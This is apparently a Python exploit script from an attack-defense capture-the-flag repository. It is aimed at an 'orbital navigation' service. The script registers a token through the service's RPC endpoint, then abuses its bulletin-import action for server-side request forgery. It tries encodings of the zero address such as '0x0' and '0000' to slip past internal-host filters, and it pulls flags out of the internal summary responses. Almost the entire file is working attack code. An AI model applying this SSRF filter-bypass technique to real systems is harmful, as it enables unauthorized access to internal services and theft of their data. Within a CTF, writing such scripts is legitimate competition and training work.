Files
go-ctf/sploits/orbital_navigation_summary_ssrf.py
T

264 lines
8.2 KiB
Python
Executable File

#!/usr/bin/env python3
from __future__ import annotations
import json
import os
import re
import signal
import sys
import time
from contextlib import contextmanager
from http.client import HTTPException
from urllib.error import HTTPError, URLError
from urllib.parse import unquote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
INTERNAL_PORT = 8080
REQUEST_TIMEOUT = 1.5
RUN_TIMEOUT = 8.0
MAX_RESPONSE = 256 * 1024
MAX_HINT_LENGTH = 8192
MAX_SUMMARIES = 6
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
class ExploitError(Exception):
pass
class HardDeadlineExceeded(Exception):
pass
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
OPENER = build_opener(ProxyHandler({}), NoRedirects())
def deadline_alarm(_signum, _frame):
raise HardDeadlineExceeded("run deadline exceeded")
@contextmanager
def hard_timeout(seconds: float):
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
yield
return
previous = signal.signal(signal.SIGALRM, deadline_alarm)
signal.setitimer(signal.ITIMER_REAL, seconds)
try:
yield
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
signal.signal(signal.SIGALRM, previous)
def parse_target(target: str) -> tuple[str, str]:
raw = target.strip()
if not raw:
raise ValueError("empty target")
address, separator, encoded_hint = raw.partition("#")
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
if not address:
raise ValueError("empty target address")
if len(hint) > MAX_HINT_LENGTH:
raise ValueError("checker hint is too large")
explicit_scheme = "://" in address
if not explicit_scheme:
authority = (
f"[{address}]"
if address.count(":") > 1 and not address.startswith("[")
else address
)
address = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(address)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = (
443
if explicit_scheme and parsed.scheme == "https"
else 80 if explicit_scheme else SERVICE_PORT
)
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def read_bounded(response, deadline: float) -> bytes:
chunks = []
total = 0
while total <= MAX_RESPONSE:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
if not chunk:
break
chunks.append(chunk)
total += len(chunk)
raw = b"".join(chunks)
if len(raw) > MAX_RESPONSE:
raise ValueError("response too large")
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
return raw
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
req = Request(
base + "/rpc",
data=payload,
headers={
"Accept": "application/json",
"Content-Type": "application/json",
"User-Agent": "neo-orbital-summary-ssrf/1.0",
},
method="POST",
)
try:
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
return response.status, read_bounded(response, deadline)
except HTTPError as exc:
with exc:
return exc.code, read_bounded(exc, deadline)
def rpc(base: str, deadline: float, action: str, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(base, payload, deadline)
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError(f"{action}: invalid response") from exc
if not isinstance(document, dict):
raise ExploitError(f"{action}: invalid response")
if status != 200 or document.get("ok") is not True:
raise ExploitError(f"{action}: request rejected (HTTP {status})")
return document.get("result")
def register(base: str, deadline: float) -> str:
result = rpc(base, deadline, "register")
auth = result.get("token") if isinstance(result, dict) else None
if not isinstance(auth, str):
raise ExploitError("register: missing token")
return auth
def import_summary(
base: str, auth: str, summary_id: str, deadline: float
) -> tuple[set[bytes] | None, int]:
attempts = 0
for internal_host in INTERNAL_HOSTS:
if deadline - time.monotonic() <= 0:
break
attempts += 1
try:
result = rpc(
base,
deadline,
"import_bulletin",
token=auth,
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
)
except (
ExploitError,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
):
continue
content = result.get("content") if isinstance(result, dict) else None
if not isinstance(content, str):
raise ExploitError("import_bulletin: missing content")
return set(FLAG_PATTERN.findall(content.encode())), attempts
return None, attempts
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
base, hint = parse_target(raw_target)
summary_ids = list(
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
)[:MAX_SUMMARIES]
if not summary_ids:
raise ValueError("checker hint with a summary id is required")
deadline = time.monotonic() + RUN_TIMEOUT
auth = register(base, deadline)
flags: set[str] = set()
processed = 0
attempts = 0
errors = 0
for summary_id in summary_ids:
if deadline - time.monotonic() <= 0:
break
found, request_count = import_summary(base, auth, summary_id, deadline)
attempts += request_count
if found is None:
errors += 1
continue
processed += 1
for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
if processed == 0:
if deadline - time.monotonic() <= 0:
raise TimeoutError("run deadline exceeded")
if errors:
raise ExploitError("all summary imports failed")
return sorted(flags), processed, attempts, errors
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
return 2
try:
with hard_timeout(RUN_TIMEOUT):
flags, processed, attempts, errors = run_exploit(
sys.argv[1], lambda candidate: print(candidate, flush=True)
)
except (
ExploitError,
HardDeadlineExceeded,
HTTPError,
URLError,
TimeoutError,
HTTPException,
ValueError,
OSError,
) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
file=sys.stderr,
)
return 0
if __name__ == "__main__":
raise SystemExit(main())